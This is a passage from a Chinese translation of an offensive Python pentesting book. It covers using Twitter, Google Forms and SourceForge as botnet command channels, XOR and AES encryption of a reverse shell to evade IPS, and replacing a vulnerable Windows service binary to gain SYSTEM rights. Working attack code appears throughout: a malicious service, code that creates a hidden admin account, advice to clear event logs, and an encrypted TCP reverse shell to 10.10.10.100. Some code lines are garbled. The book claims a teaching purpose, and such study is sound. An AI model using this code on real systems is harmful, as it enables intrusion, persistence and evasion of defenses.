'''
form_data = {'entry.1542374001':'Hello from Python'}
r = requests.post(url, data=form_data)
# Submitting form-encoded data in requests:-
# http://docs.python-requests.org/en/latest/user/quickstart/#more-complicated-post-requests
再次强调,安装非常简单:只需执行 pip install requests
。现在,我们看到的是 requests
文档,用于提交 HTML 表单编码的 POST
请求:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00053.jpeg
现在,根据文档,我们首先定义提交表单的 URL,在我们的例子中,就是 Google 表单的 URL。第二个参数是我们的数据,以字典格式呈现,其中我们有一个 key
和对应的值。请记住,key
是表单名称,而它的值是我们要发送的文本数据。
让我们跳转到 Google 表单链接,找出表单名称,这将是我们字典中的 key
。打开我们创建的表单的源代码,在 HTML 中搜索 Python
字符串。如果仔细查看,你会发现提交文本的 HTML 表单名称。在我们的例子中,作为
的值,表单名称是 entry.1542374001
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00054.gif
到这里为止,我们已经发现了 key
名称,这就是我们需要用来自动化这个过程的东西。记住,值是我们想要发送或提交的数据。
现在先将表单名称复制到记事本文件中。接着,我们需要返回到之前的与 Google 表单交互
脚本并在其中填入这些信息。首先复制表单的 URL,并将其赋值给 import requests
行下方的 url
变量,最后,去掉 URL 中的 /viewform
部分,并在末尾添加 /formResponse
。将表单名称 entry.1542374001
作为键,暂时将数据设为 Hello From Python
:
...
url = 'https://docs.google.com/forms/d/e/1FAIpQLSdNHreWMKC4li3a-Ox7IzQZ9mkZjI94I8U6jz8yHBkePXSPoA/formResponse'
...
form_data = {'entry.1542374001':'Hello from Python'}
...
保存脚本。到目前为止,我们已经准备好了所有内容。让我们运行脚本,如果一切正常如预期,我们应该会在表单响应中看到 Hello From Python
被添加进去。
在下一部分,我们将展示如何在实际的渗透测试中使用这个脚本。
绕过僵尸网络过滤
如果你按照顺序阅读了前面的章节,那么到这一点,你应该能够在不登录 Twitter 和提交文本到 Google 表单的情况下,掌握 Twitter 的命令操作,同时也无需登录 Google 账户。最后,你应该能够将文件上传到 SourceForge。那么,你可能会问:黑客能用这些服务做什么?
好吧,他们可以像发布推文一样发送 ipconfig
命令,然后让多个感染的目标解析这条推文并执行命令。执行命令后,我们可以将执行结果提交到 Google 表单。或者,如果命令语法或格式包含 grab
关键字,那么目标将会把文件上传到我们的 SourceForge 仓库。
现在,在现代防火墙中,僵尸网络过滤功能会根据某些标准或参数进行查找,例如现代僵尸网络使用的应用程序或协议,如 IRC、动态 DNS,以及从内部到外部主机创建的会话数量。所有这些都会被现代或下一代防火墙考虑,用来检查这些流量是否属于僵尸网络。此外,不需要多提的是,声誉过滤也是这些检查和过滤的一部分。
基于知名服务器构建僵尸网络的好处是,首先,我们不使用 IRC 渠道或动态 DNS。接下来,我们不需要与攻击者机器进行直接互动或交互。最后,所有这些服务器或服务都是知名且可信的。
如果你滥用这些服务并在实验室环境之外使用它们,你将违反服务条款和协议,最终根据相关地区的司法管辖区,你将受到法律的追诉。
请记住,我的目的是让你意识到类似类型的攻击,这样你就能警惕它们。所以,我希望你挑战自己,尝试将所有这些脚本合并并压缩成一个高级 Shell,然后尝试在你的家庭实验室环境中感染多台运行 Windows 7 的虚拟机。之后,或者最后,你将能够控制它们并提取数据。我们在本节中没有提到的最后一点是加密。在下一节中,我们将看到如何轻松地构建 XOR 加密并掩盖我们的明文流量。
使用手工 XOR 加密绕过 IPS
在本节中,我们将用 Python 构建一个简单的 XOR 加密。现在,流量加密是避开网络分析器或 IPS 传感器的最强大技术之一,但在开始编码之前,让我们先快速了解这些设备最初是如何工作的。
一般来说,这些设备可以在两种模式下运行:第一种模式是基于签名的模式,它会检查通过传感器的包参数和数据负载。然后,类似于杀毒软件,它检查是否与其签名数据库有任何匹配,并根据匹配规则指定的操作,可能会丢弃或记录流量。第二种模式是基于行为或基于异常的模式,在这种模式下,你将 IPS 安装在网络中,它会学习协议类型以及通过传感器的包速率。然后,它会基于当前的网络流量建立其数据库或基线数据库。
例如,在一个网络中,假设我们有 50 台 PC 通常使用 SSH 访问远程服务器。如果 IPS 是基于行为的,它会学习到平均而言我们有 50 个 SSH 会话,并会为此创建基线。后来,如果某台 PC 使用了 Telnet,IPS 会认为这个协议是可疑活动,并可能丢弃这个连接。尽管 Telnet 会话是合法的,但由于 IPS 在学习阶段没有注意到任何 Telnet 会话,它不会把它包含在 IPS 基线中,这种错误的行为被称为误报。这就是为什么基于行为的 IPS 不常使用的原因,因为它们经常出现误报。
现在,我们将编写一个非常简单的 XOR 加密来掩码我们的数据负载。你可能会想:为什么是 XOR 加密?为什么不创建一个 SSH 或 HTTPS shell,因为这些协议本身就提供加密?嗯,我不推荐这样做,因为在许多企业网络中,你可能会发现目标安装了一个解密设备,它可以终止 SSL 和 SSH 加密。基本上,一旦流量进入该设备,它会转换或移除这些协议的加密,并在将其传递到 IPS 传感器进行检查之前,将其转换为明文。技术上来说,你不会拥有端到端加密的 shell,如果你遇到这个解密设备,你就没有任何附加值。
许多现代防火墙或下一代防火墙可以终止 SSL 和 SSH 加密进行检查。
让我们跳到编码部分:
# Python For Offensive PenTest
import string # The random and string libraries are used to generate a random string with flexible criteria
import random
# XOR Encryption
# Random Key Generator
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(1024))
# the for loop defines the key size, key size is 1 KB which if you remember in our TCP shell, it matches the TCP socket size :)
# the "".join will put the result for the random strings into a sequence and we finally will store it in a key variable
# so all in all the for loop will generate a 1024 random string which are matching our criteria and . join is used to gather these strings into a sequence
print key
print '\n' + 'Key length = ' + str ( len(key) )
# After we generate the XOR key, you need to take into consideration the XOR encryption rule which says the key length must be greater or equal the msg/data
# which we will send over the tunnel. len(key) >= len(message)
message = 'ipconfig' # this is the message which we will encrypt before it's getting sent
print "Msg is " + message + '\n'
...
让我们先看一下第一部分。我们将生成一个随机密钥,用于 XOR 加密。现在,我们的密钥应该足够复杂,并满足以下标准:它应包含小写字母、大写字母、数字和特殊字符。现在,最后的for
循环定义了密钥的大小。密钥的大小是 1 KB,这在我们的 TCP shell 中,如果你记得的话,与 TCP 套接字大小相匹配。开始的空字符串.join
将把随机字符串的结果放入一个序列,最后我们将其存储在key
变量中。总的来说,for
循环将生成1024
个符合我们标准的随机字符串,而.join
用于将这些字符串汇集成一个序列。
运行代码时,将生成一个长度为1024
的密钥,我们可以用来进行加密。如果你再运行一次脚本,你会得到一个完全不同但大小相同的密钥:
...
# here i defined a dedicated function called str_xor, we will pass two values to this function, the first value is the message(s1) that we want to encrypt or decrypt,
# and the second parameter is the xor key(s2). We were able to bind the encryption and the decryption phases in one function because the xor operation is exactly the
# same when we encrypt or decrypt, the only difference is that when we encrypt we pass the message in clear text and when we want to decrypt we pass the encrypted message
def str_xor(s1, s2):
return "".join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])
# first we split the message and the xor key to a list of character pair in tuples format >> for (c1,c2) in zip(s1,s2)
# next we will go through each tuple, and converting them to integer using (ord) function, once they converted into integers we can now
# perform exclusive OR on them >> ord(c1) ^ ord(c2)
# then convert the result back to ASCII using (chr) function >> chr(ord(c1) ^ ord(c2))
# last step we will merge the resulting array of characters as a sequence string using >>> "".join function
#Here we do a quick test
enc = str_xor(message, key)
print 'Encrypted message is: ' + '\n' + enc + '\n'
dec = str_xor(enc, key)
print 'Decrypted message is: ' + '\n' + dec
#Make sure that the SAME Key is HARDCODED in the Server AND client, otherwise you won't be able to decode your own messages!
在 XOR 加密的第二部分,请记住密钥的大小应该等于或大于明文消息。我们将两个值传递给专用函数 str_xor()
。第一个参数 s1
是我们要加密或解密的消息,第二个参数 s2
是 XOR 密钥。请注意,使用相同的 key
进行加密和解密。消息可以是我们想要解密的加密消息,也可以是我们想要加密的明文消息。因此,XOR 操作在加密和解密时是完全相同的。唯一的区别是,在加密时,我们传递明文消息,而在解密时,我们传递加密消息。以下这行来自 XOR Encryption
脚本的代码会为我们同时执行加密和解密:
...
return "".json([chr{ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])
...
所以,首先,我们将消息和 XOR 密钥分割为一对对字符的列表,格式为元组。接下来,我们将遍历每个元组,并使用 ord()
函数将其转换为整数。现在,一旦它们转换为整数,我们就可以对它们执行排他性 XOR 操作。然后,在最后部分,我们将使用字符函数 chr()
将结果转换回 ASCII。最后,我们将通过 .join()
函数将结果字符数组合并成一个序列。所以,总结起来,我们将首先打印明文消息,然后是加密后的版本,最后是解密后的消息。
运行脚本后,你将在输出中看到 XOR 密钥、我们传递的消息、加密后的消息以及解密后的消息。
每次运行脚本时,都会生成一个新的密钥,因此会显示一个新的加密消息。
一旦生成了 XOR 密钥,请确保将相同的密钥硬编码到你的 Kali 服务器脚本和 Windows 后门中,否则你将无法解密你的消息。
总结
在本章中,我们讨论了从绕过防火墙到与网站交互的广泛话题。我们在使用各种工具和不同方法的基础上,完成了这些任务,从而能够通过攻击者机器攻击受害者机器或加密解密我们的消息。
在接下来的章节中,我们将讨论与弱服务文件权限相关的特权提升,准备易受攻击的软件,通过后门侵入合法的 Windows 服务,以及创建新的管理员账户。
第五章:Windows 中的其他有趣内容
在本章中,我们将主要关注在 Windows 系统中利用易受攻击的软件,并使用不同的技术进行特权提升。随后,我们还将创建后门并掩盖痕迹。本章将大致介绍如何利用 Python 脚本的强大功能来为我们所用。
本章将涵盖以下主题:
-
特权提升 – 弱服务文件
-
特权提升 – 准备易受攻击的软件
-
特权提升 – 后门合法的 Windows 服务
-
特权提升 – 创建新的管理员账户并掩盖痕迹
特权提升 – 弱服务文件
在渗透测试阶段,你可能会遇到一个标准用户账号,在此账号下,由于用户访问控制(UAC),你没有完全的权限访问或修改文件系统,每次你试图提升权限时,都会弹出一个窗口,要求你输入管理员密码。在本节中,我们将讨论一种特权提升攻击的类型,你可以通过这种方式从标准用户权限提升到管理员或系统权限。这些我们将讨论的攻击方法,称为通过服务文件权限漏洞进行特权提升。如果服务可执行文件的位置可以被标准用户修改,则系统将变得易受攻击。此时,它可以被另一个恶意可执行文件覆盖。我们可以利用这一点,通过启动我们的恶意可执行文件来获取系统权限。一旦在重启系统后启动服务,被替换的可执行文件将运行,而不是原始的服务可执行文件。总之,我们已经获得了系统权限,并将运行一个属于易受攻击软件的 EXE 文件。现在,由于该软件的 EXE 文件可以被标准用户在标准用户的配置文件中写入,因此我们可以简单地将其替换为恶意 EXE 文件。
因此,这款软件 EXE 文件可以由用户空间的标准用户写入或修改。所以,我们可以做的事情是,直接将软件 EXE 文件替换为恶意 EXE 文件。在接下来的三次启动中,我们的 EXE 将取而代之,并将以系统权限执行。
这是一个关于特权提升类型的链接,并简要描述每种类型:
attack.mitre.org/wiki/Privilege_Escalation
。如果你有时间,我建议你阅读这篇文章。
特权提升 – 准备易受攻击的软件
在本次演示中,我将使用一款名为Photodex的易受攻击软件,该软件来源于 Exploit Database 网站。你可以从www.exploit-db.com/exploits/24872/
下载此软件。下载完成后,将该软件安装到目标机器上。安装完成后,重启机器。
现在,让我们尝试在目标 Windows 机器上创建一个 nonadmin
标准账户,方法是前往控制面板 | 添加或删除用户账户 | 创建一个新账户。我们将其命名为 nonadmin
。创建完账户后,登录到 nonadmin
账户,导航到安装时创建的 Photodex
目录,路径在 C:\
驱动器,同时打开任务管理器。
你将能够在“服务”标签下看到由 Photodex 软件创建的服务名称,即 ScsiAccess
。要获取更多关于此服务的信息,请点击“服务”按钮。在打开的“服务”窗口中,找到 ScsiAccess
,右键点击并选择“属性”,你将能够找到该服务的 EXE 文件路径。然后进入该目录,在我的例子中,它是 C:\Program Files\Photodex\Pro Show Producer\ScsiAccess.exe
。找到 EXE 文件,右键点击它;注意,我们不需要任何管理员权限就能重命名、删除、复制甚至剪切这个文件。所以,理论上,如果我把这个文件重命名为 ABC
,例如,然后用一个恶意文件替代它,那么我们就可以利用这个漏洞。接下来,我们将看看如何利用这个漏洞。在下一部分,我们将纯粹使用 Python 创建一个新的服务 EXE 文件。然后,我们将替换当前的 sciaccess.exe
文件,并看看通过这样做我们能获取哪些权限。
权限提升 – 通过后门访问合法的 Windows 服务
在这一部分中,我们将编写一个恶意服务文件来替换合法的服务文件。现在,为了替换服务文件,我们的新恶意服务文件应该能够与 Windows 服务控制管理器进行通信。例如,当你手动启动、停止、暂停或恢复服务时,Windows 服务控制管理器会向 EXE 服务文件发送信号或命令,作为回应,服务文件通常会服从服务控制管理器的命令。如果由于某种原因,服务文件或 EXE 文件未能理解该信号,那么服务控制管理器将无法启动服务,并且你会收到一个错误提示:“服务没有及时响应启动或控制请求”。
现在,让我们进入代码部分:
# Python For Offensive PenTest
# Backdooring Legitimate Windows Service
import servicemanager
import win32serviceutil
import win32service
import win32api
import os
import ctypes
...
# Part 1 - initializing : in this section we:-
if __name__ == '__main__':
servicemanager.Initialize() # define a listener for win servicemanager
servicemanager.PrepareToHostSingle(Service)
servicemanager.StartServiceCtrlDispatcher()
win32serviceutil.HandleCommandLine(Service) #pass a Service class handler, so whenver we got a signal from the servicemanager we will pass it to the Service class
首先,我的部分代码继承自我在 ActiveState 网站上找到的一个脚本。在这里,你可以找到原始脚本:code.activestate.com/recipes/551780/
。其次,我建议阅读更多关于 Microsoft 服务控制管理器功能的资料。这里是一个不错的起点:msdn.microsoft.com/en-us/library/windows/desktop/ms685150(v=vs.85).aspx
。最后但同样重要的是,pywin
库是创建 Windows 服务的前置库。你可以从以下链接下载:sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
。我们的代码可以分为两个部分。第一部分是关于初始化的。在这一部分,我们为 Windows 定义一个监听器,即servicemanager
。然后,我们传递一个Service
类处理程序,因此每当我们从servicemanager
接收到信号时,我们会将其传递给Service
类。
让我们进入第二部分:
# Part 2 - Here (in service class) we define the action to do when we got a service manager signal
class Service(win32serviceutil.ServiceFramework):
_svc_name_ = 'ScsiAccess' # specify the service name and the display name - note that the name scsiacces is similar to the original one for photodex vulnerable software
_svc_display_name_ = 'ScsiAccess'
def __init__(self, *args): # Initialize ServiceFramework and we define in functions style what to do when we got a service manager signal
win32serviceutil.ServiceFramework.__init__(self, *args)
def sleep(self, sec): # if the service manager signal was pause - then we sleep for an amount of seconds
win32api.Sleep(sec*1000, True)
def SvcDoRun(self): # if the signal was start - then:-
self.ReportServiceStatus(win32service.SERVICE_START_PENDING) # tell the Service Manager that we are planning to run the service via reporting back a start pending status
try:
self.ReportServiceStatus(win32service.SERVICE_RUNNING) #tell the Service Manager that we are currently running up the service then call the start
#function (start) if any exception happened, we will call the stop function (SvcStop)
self.start()
except Exception, x:
self.SvcStop()
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) #tell the Service Manager that we are planning to stop the serivce
self.stop()
self.ReportServiceStatus(win32service.SERVICE_STOPPED) #tell the Service Manager that we are currently stopping the service
def start(self):
self.runflag=True # mark a service status flag as True and we will Wait in while loop for receiving service stop signal from the service manager
'''
This little code is to double check if we got an admin priv, after replacing our malicious service, thanks to IsUserAnAdmin function
https://msdn.microsoft.com/en-us/library/windows/desktop/bb776463(v=vs.85).aspx
f = open('C:/Users/nonadmin/Desktop/priv.txt','w')
if ctypes.windll.shell32.IsUserAnAdmin() == 0:
f.write('[-] We are NOT admin! ')
else:
f.write('[+] We are admin :)')
f.close()
'''
while self.runflag: # Wait for service stop signal
self.sleep(10)
def stop(self): # now within the stop function we mark the service status flag as False to break the while loop in the start function
self.runflag=False
在第二部分,我们定义了在接收到服务管理器信号时应该执行的操作,这将在Service
类中发生。在前两行中,我们指定了服务名称和显示名称。请注意,我选择的名称ScsiAccess
与 Photodex 软件的原始名称相似。因此,如果我们像上一部分那样从 Windows 任务管理器打开服务,名称将与脆弱软件的服务名称完全匹配。
接下来,我们初始化ServiceFramework
,并以函数式的方式定义在接收到服务管理器信号时应该执行的操作。例如,如果服务管理器的信号是暂停,那么我们将sleep
指定的秒数,即Sleep(sec*1000, True)
。同样,如果信号是启动,那么我们会告诉服务管理器我们计划运行该服务;这将通过通过ReportServiceStatus()
报告SERVICE_START_PENDING
状态来完成。然后,在异常处理程序中,我们将告诉服务管理器我们正在启动服务,并且会调用start()
函数。如果发生任何异常,我们将在这里调用SvcStop()
函数。
一旦我们执行了start()
函数,我们将ServiceStatus
标志设置为True
,然后我们将在一个while
循环中等待接收来自服务管理器的停止信号。如果我们收到此信号,我们将转到stop()
函数,最终将标志切换为False
。现在,在stop()
函数内部,我们将执行与start()
函数类似的过程。因此,我们会告诉服务管理器我们计划停止服务,然后执行stop()
函数,最后告诉服务管理器我们当前正在停止服务。现在,在stop()
函数中,我们将服务状态标志设置为False
,以打破start()
函数中的无限循环。现在,如果我将此脚本导出为 EXE 文件,并用它替代sciaccess.exe
并重启机器,应该可以正常工作。然而,我想再进一步,证明我们获得了系统权限。那么,让我们确保利用过程正常工作。为此,我编写了一个快速的 Python 脚本来检查我们是否以管理员身份运行:
# Are we Admin
import ctypes
if ctypes.windll.shell32.IsUserAnAdmin() == 0:
print '[-] We are NOT admin! '
else:
print '[+] We are admin :) '
这个脚本将简单地调用 Windows 中的IsUserAnAdmin()
函数。如果返回值是0
,则表示我们是标准用户;否则,表示我们拥有管理员权限。要运行这个脚本,请以管理员身份打开命令提示符,并导航到Desktop
然后是Users
,然后输入python "Are we Admin.py"
。如果我们拥有管理员权限,将显示[+] We are admin :)
。这是因为在启动命令提示符之前,我右键点击并选择了“以管理员身份运行”。
所以,我打算在我们的代码中使用这个小技巧,并将检查管理员权限的脚本注入到我们的恶意服务中。显然,它应该在服务启动时执行,因此应该位于start()
函数内。一旦我们运行服务,我们将在桌面上创建一个文本文件,文件中将显示我们当前的权限。
所以,我们现在将像上一章一样将脚本导出为 EXE 文件,到这时,我们需要做的就是用生成的文件替换原始的 EXE 文件。前往 Photodex 软件的原始文件位置。由于软件存在漏洞,我们可以替换这个文件。所以,我将把这个文件重命名为access2
,然后简单地复制并粘贴我们的恶意文件。如果一切正常,我们的服务应该没有任何错误地运行,并且我们应该在桌面上看到一个文本文件,打开它后应该告诉我们当前运行的权限。重启后,你会注意到桌面上有一个priv
文本文件。如果你打开它,你会看到一行文本,说明我们以管理员身份运行。
提权攻击——创建一个新的管理员账户并掩盖痕迹
在我们之前的章节中,我们创建了一个恶意的 Python 服务,并将合法服务替换掉。一旦系统启动,我们验证了我们获得了系统或管理员权限。现在,在这一节中,我们将看到如何创建一个新的管理员账户,然后从标准用户跳转到管理员账户。所以,我在代码部分做的修改是将以下部分添加到之前的代码中,简而言之,这段代码将会在服务启动后创建一个新的管理员账户:
...
USER = "Hacked"
GROUP = "Administrators"
user_info = dict ( # create a user info profile in a dictionary format
name = USER,
password = "python_is_my_life", # Define the password for the 'hacked' username
priv = win32netcon.USER_PRIV_USER,
home_dir = None,
comment = None,
flags = win32netcon.UF_SCRIPT,
script_path = None
)
user_group_info = dict ( # create a group info profile in a dictionary format
domainandname = USER
)
try:
win32net.NetUserAdd (None, 1, user_info)
win32net.NetLocalGroupAddMembers (None, GROUP, 3, [user_group_info])
except Exception, x:
pass
...
所以,记住,我已经在start()
函数下添加了上述部分。在这里,我们定义了一个名为Hacked
的新用户名,以及它所属的组,即Administrators
组。接下来,我们在字典格式中创建一个用户和组信息配置文件。然后,在字典中,我们指定一些值,如password
、priv
和home_dir
。最后,我们创建新的管理员账户并将其添加为Administrators
组的成员。如果在创建过程中发生任何异常,我们将简单跳过它。现在,在导出代码为 EXE 并测试之前,快速验证一下我们在机器上获得的用户名,通过在命令提示符中运行net users
,它会列出机器上的所有用户。
目前,我们登录的是nonadmin
账户。所以,让我们继续在这里导出 EXE。将脚本复制到Toexe
文件夹并重命名为sciaccess
。现在,运行安装文件。然后,将导出的 EXE 文件复制并替换掉Photodex\ProShow Producer
文件夹中的脆弱软件。此时,如果一切正常,重启后我们应该能看到一个名为Hacked
的新管理员账户。现在,重启机器并登录到nonadmin
账户。打开命令提示符。现在,如果我们输入net users
,我们将看到一个新的用户名Hacked
。
如果我们输入net users Hacked
,我们会看到底部显示我们属于Administrators
组。所以,在这一点上,一旦我们获得管理员权限,就可以为所欲为。那么,让我们走上歧途,使用被黑的管理员账户登录并清除事件查看器中的 Windows 事件日志。这将有助于我们掩盖痕迹。
总结
在本章中,我们学习了不同的特权提升方式和漏洞利用方法。我们从导出文件到 EXE 开始,然后转向针对脆弱软件。之后,我们开始创建后门并随后掩盖我们的痕迹,以避免被发现。
在下一章,我们将处理不同类型的加密算法。
第六章:恶意软件对加密技术的滥用
在本章中,我们将使用比简单的 XOR 更坚固的方式来保护我们的隧道,因为现代恶意软件使用一种知名的加密算法来保护其在传输路径中的流量。
本章涵盖的主题如下:
-
加密算法简介
-
使用 AES 保护你的隧道—流模式
-
使用 RSA 保护你的隧道
-
混合加密密钥
加密算法简介
在本节中,我们将简要概述加密领域中最常见的加密算法。基本上,有两种类型的加密算法:第一种叫做对称加密,第二种叫做非对称加密。这种分类是根据所需密钥的数量以及它们的操作方式来进行的。我们将稍微讨论一下这些算法之间的区别,首先从对称加密开始。
现在,对称加密使用一个密钥来进行加密和解密,这个密钥在客户端和服务器端共享。最常见的对称加密算法有 AES、Blowfish、RC4 和 Triple DES。在非对称加密中,我们有密钥对的概念,其中一个叫做公钥,用于加密,而另一个叫做私钥,用于解密。密钥的名称暗示了公钥可以在不可信的网络(如互联网)上发布,这样做不会造成任何损害。另一方面,私钥绝不能离开操作系统或旨在解密数据的机器。如果私钥泄露出操作系统,那么任何拥有该私钥的人都可以解密流量。
客户端或目标必须生成自己的密钥对,服务器或攻击者则需要生成自己的密钥。现在,在双方各自生成密钥对后,操作流程如下:客户端将持有自己的私钥和服务器的公钥;另一方面,服务器将持有自己的私钥和客户端的公钥。简要回顾一下,切换后,在 Kali 一侧我们拥有自己的私钥和目标的公钥。同样,在目标一侧,我们拥有自己的私钥,并且也持有 Kali 的公钥。因此,在我们的 shell 中反映这一点,当我们得到一个反向 shell 提示并输入要执行的命令时,例如ipconfig
,它将使用客户端的公钥进行加密,并通过隧道发送。
当我们在终端提示符中输入ipconfig
时,在将ipconfig
明文发送之前,我们将使用目标的公钥对该消息进行加密,并通过隧道发送出去。不管谁在监视这段流量,只有客户端可以解密它,因为只有客户端持有私钥。我们将使用目标的私钥解密命令,并将其恢复为明文,这就是ipconfig
命令。现在,当客户端执行ipconfig
时,输出不会以明文形式发送,而是使用服务器或 Kali 公钥进行加密,并通过隧道发送出去。现在,在 Kali 一侧,一旦我们收到加密的消息,我们将将其交给我们的私钥,私钥将用于解密流量或解密消息并以明文形式打印出来。最后,我需要提到的关于非对称加密的内容是这个算法的最常见示例,即 RSA 和Pretty Good Privacy(PGP)。
两种方法各有其优缺点。非对称算法被认为比对称算法更难破解,更坚固、更安全。然而,它需要更多的处理过程,比对称算法慢得多。那么,问题是,我们能否创建一个混合系统或混合算法,利用对称和非对称系统的优点?答案是肯定的。
我们将使用非对称算法安全地传输一个随机且复杂的密钥。这个密钥稍后将用于使用对称算法加密我们的传输数据。所以,基本上,事情是这样的。Kali 机器将持有目标的公钥,然后我们将在 Kali 侧生成对称密钥。现在,我们将利用目标侧的非对称公钥,并使用它来加密生成的对称密钥,并将其发送到目标侧。目标将使用其私钥解密对称密钥。
我们将使用目标的私钥来导出或解密对称密钥。因此,到这个步骤,我们可以使用这个对称密钥来进行隧道加密。现在,一旦我们安全地传输了对称密钥,我们就可以用它来加密通过这个隧道传输的每个命令或输出。简单回顾一下,一旦目标端启动与我们 Kali 侧的会话,我们将生成对称密钥。为了安全地传输这个对称密钥,我们将使用目标的公钥加密它,并发送过去。在目标端,我们将解密该消息并再次提取对称密钥。到此为止,双方都拥有了对称密钥。现在,我们可以安全地通过对称密钥在双方之间传输命令。最后,我们要讨论的是使用混合方法的好处。首先,我们通过安全地传输生成的对称密钥来保持它的安全。其次,请记住,这是一个随机生成的密钥,每次连接时都会更改。我们不会在两端硬编码这个密钥,而是每次连接时密钥都会更改。此外,我们还可以随时更改密钥。例如,在 VPN IPSEC 协议中,你可以设置一个标准,在一定时间或消耗一定带宽后更换加密密钥。
使用 AES 加密保护你的隧道 – 流模式
在本节中,我们将使用 AES 加密来保护我们的 TCP 隧道。一般来说,AES 加密可以在两种模式下运行:计数器(CTR)模式加密(也称为流模式)和密码块链接(CBC)模式加密(也称为块模式)**。
密码块链接(CBC)模式加密
块模式意味着我们需要以数据块的形式发送数据:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00055.jpeg
例如,如果我们说块大小为 512 字节,并且我们想发送 500 字节的数据,那么我们需要额外添加 12 字节的填充数据,以使总大小达到 512 字节。如果我们想发送 514 字节,那么前 512 字节将作为一个块发送,第二个块或下一个块将为 2 字节大小。然而,我们不能仅仅发送 2 字节,因为我们需要添加额外的 510 字节填充,以使第二个块的总大小为 512 字节。现在,在接收端,你需要通过去除填充并解密消息来逆向执行这些步骤。
计数器(CTR)模式加密
现在,让我们跳到另一种模式,也就是计数器(CTR)模式加密或流模式:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00056.jpeg
在这种模式下,消息大小并不重要,因为我们不受块大小的限制,且我们将以流模式加密,就像 XOR 操作一样。现在,块模式在设计上被认为比流模式更强。在本节中,我们将实现流模式,剩下的块模式的实现将交给你自己去探索。
Python 中最著名的加密库叫做 PyCrypto
。对于 Windows,它有一个编译好的二进制文件,对于 Kali 端,你只需要在下载库后运行安装文件。你可以从 www.voidspace.org.uk/python/modules.shtml#pycrypto
下载这个库。所以,作为开始,我们将使用 AES
,而不使用 TCP 或 HTTP 隧道:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES Stream
import os
from Crypto.Cipher import AES
counter = os.urandom(16) #CTR counter string value with length of 16 bytes.
key = os.urandom(32) #AES keys may be 128 bits (16 bytes), 192 bits (24 bytes) or 256 bits (32 bytes) long.
# Instantiate a crypto object called enc
enc = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
encrypted = enc.encrypt("Hussam"*5)
print encrypted
# And a crypto object for decryption
dec = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
decrypted = dec.decrypt(encrypted)
print decrypted
代码非常简单。我们将首先导入 os
库,并从 Crypto.Cipher
库中导入 AES
类。现在,我们使用 os
库来创建随机的 key
和随机的 counter
。计数器的长度是 16
字节,我们将为密钥大小选择 32
字节,以实现 AES-256。接下来,我们通过传递 key
、AES 模式(这仍然是流模式或 CTR 模式)和 counter
值来创建加密对象。现在,请注意,counter
需要作为可调用对象发送。这就是我们使用 lambda
结构或 lambda
构造的原因,它是一种匿名函数,就像一个没有绑定名字的函数。解密过程与加密过程非常相似。所以,我们创建一个解密对象,然后传递加密消息,最后它会打印出解密后的消息,应该是明文的。
所以,让我们快速测试一下这个脚本并加密我的名字。一旦我们运行脚本,加密后的版本会显示在上面,下面的是解密后的版本,即明文:
>>>
]ox:|s
Hussam
>>>
所以,为了测试消息的大小,我将调用一个空格,并将我的名字的长度乘以5
。这样,我们就得到了5
倍的长度。明文的大小在这里并不重要。无论明文是什么,使用流模式时,我们都不会遇到任何问题。
现在,让我们将加密功能集成到我们的 TCP 反向 Shell 中。以下是客户端脚本:
# Python For Offensive PenTest# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES - Client - TCP Reverse Shell
import socket
import subprocess
from Crypto.Cipher import AES
counter = "H"*16
key = "H"*32
def encrypt(message):
encrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
return encrypto.encrypt(message)
def decrypt(message):
decrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
return decrypto.decrypt(message)
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.100', 8080))
while True:
command = decrypt(s.recv(1024))
print ' We received: ' + command
...
我添加的是一个新的加密和解密函数,适用于双方,正如你所看到的,密钥和计数器值在两端都是硬编码的。我需要提到的一个旁注是,我们将在后面的混合加密中看到,如何从 Kali 机器生成一个随机值并安全地传输到我们的目标,但现在,暂时让我们将其硬编码在这里。
以下是服务器端脚本:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES - Server- TCP Reverse Shell
import socket
from Crypto.Cipher import AES
counter = "H"*16
key = "H"*32
...
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("10.10.10.100", 8080))
s.listen(1)
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept()
print '[+] We got a connection from: ', addr
...
它是这样工作的。在发送任何内容之前,我们会先将想要发送的内容传递给加密函数。当我们得到 Shell 提示符时,我们的输入会首先传递给加密函数;然后它会通过 TCP 套接字发送出去。现在,如果我们跳转到目标端,它几乎是镜像的。当我们接收到加密消息时,我们会首先将其传递给解密函数,解密函数会返回明文值。同时,在向 Kali 机器发送任何内容之前,我们会先加密它,就像在 Kali 端所做的那样。
现在,在两个端进行脚本运行。保持 Wireshark 在 Kali 端后台运行。我们从ipconfig
开始。在目标端,我们将能够成功地将加密消息解密为明文。
